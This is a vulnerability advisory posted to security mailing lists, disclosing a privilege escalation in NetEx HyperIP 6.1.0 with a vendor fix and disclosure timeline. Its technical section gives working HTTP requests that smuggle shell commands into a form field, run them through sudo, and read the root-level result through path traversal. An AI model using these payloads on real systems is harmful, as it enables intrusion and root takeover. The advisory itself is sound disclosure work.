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Date: Fri, 9 Feb 2018 11:11:38 -0600
From: KoreLogic Disclosures <disclosures@...elogic.com>
To: fulldisclosure@...lists.org, bugtraq@...urityfocus.com
Subject: KL-001-2018-004 : NetEx HyperIP Privilege Escalation Vulnerability

KL-001-2018-004 : NetEx HyperIP Privilege Escalation Vulnerability

Title: NetEx HyperIP Privilege Escalation Vulnerability
Advisory ID: KL-001-2018-004
Publication Date: 2018.02.08
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-004.txt


1. Vulnerability Details

     Affected Vendor: NetEx
     Affected Product: HyperIP
     Affected Version: 6.1.0
     Platform: Embedded Linux
     CWE Classification: CWE-592: Authentication Bypass Issues
     Impact: Privilege Escalation
     Attack vector: HTTPS

2. Vulnerability Description

     Privileges can be escalated by abusing writable paths found
     within the sudoers configuration file.

3. Technical Description

     The run script is modified with the attack payload.

       POST /hypmisc.php HTTP/1.1
       Host: 1.3.3.7
       Accept-Language: en-US,en;q=0.5
       Cookie: auth-token=b6b73844ce4df64f459948c5475a1096
       DNT: 1
       Connection: close
       Upgrade-Insecure-Requests: 1
       Content-Type: application/x-www-form-urlencoded
       Content-Length: 90

       set_id=msglvl&set_val=$(echo /usr/bin/id >> /var/ftp/pub/updates/a.run)&perm=on&submit=Set

       HTTP/1.1 200 OK
       Date: Mon, 27 Mar 2017 07:21:38 GMT
       Server: Apache/2.2.3 (CentOS)
       X-Powered-By: PHP/5.1.6
       Expires: Thu, 19 Nov 1981 08:52:00 GMT
       Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
       Pragma: no-cache
       Content-Length: 1048
       Connection: close
       Content-Type: text/html; charset=UTF-8

     The attack payload can now be executed.

       POST /hypmisc.php HTTP/1.1
       Host: 1.3.3.7
       Accept-Language: en-US,en;q=0.5
       Cookie: auth-token=b6b73844ce4df64f459948c5475a1096
       DNT: 1
       Connection: close
       Upgrade-Insecure-Requests: 1
       Content-Type: application/x-www-form-urlencoded
       Content-Length: 91

       set_id=msglvl&set_val=$(sudo /var/ftp/pub/updates/a.run >> /tmp/a.output)&perm=on&submit=Set

       HTTP/1.1 200 OK
       Date: Mon, 27 Mar 2017 13:06:55 GMT
       Server: Apache/2.2.3 (CentOS)
       X-Powered-By: PHP/5.1.6
       Expires: Thu, 19 Nov 1981 08:52:00 GMT
       Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
       Pragma: no-cache
       Content-Length: 1020
       Connection: close
       Content-Type: text/html; charset=UTF-8

     The output can now be read from the a.output file, which is a
     separate arbitrary file read issue detailed in KL-001-2018-005.

       GET /logs.php?system=../../tmp/a.output&submit=Show+System+Log HTTP/1.1
       Host: 1.3.3.7
       Accept-Language: en-US,en;q=0.5
       DNT: 1
       Connection: close
       Upgrade-Insecure-Requests: 1

       HTTP/1.1 200 OK
       Date: Mon, 27 Mar 2017 13:07:51 GMT
       Server: Apache/2.2.3 (CentOS)
       X-Powered-By: PHP/5.1.6
       Content-Length: 502
       Connection: close
       Content-Type: text/html; charset=UTF-8

       <html>
       <head>
       <meta HTTP-EQUIV="Expires" CONTENT="0">
       <link REL="stylesheet" HREF="bdstyles.css" TYPE="text/css">
       </head>
       <body class="dsp">

       <H1>Show System Log  <font size=2>[ Monday @ 08:07:51 ]</font></H1>
       <pre>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
       </pre>
       </body>
       </html>

4. Mitigation and Remediation Recommendation

     The vendor has released version 6.1.1 of HyperIP, which they state
     addresses this vulnerability.

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2017.07.24 - KoreLogic submits vulnerability details to NetEx.
     2017.07.24 - NetEx confirms receipt.
     2017.08.16 - NetEx informs KoreLogic that this and other reported
                  vulnerabilities have been addressed in the forthcoming
                  release. ETA as of yet undetermined.
     2017.09.05 - 30 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2017.09.19 - NetEx informs KoreLogic that the forthcoming release
                  6.1.1 is expected to ship at the end of January 2018.
     2017.09.26 - 45 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2017.12.01 - 90 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2018.01.17 - 120 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release
                  has gone live.
     2018.02.08 - KoreLogic public disclosure.

7. Proof of Concept

     See 3. Technical Description.


The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt



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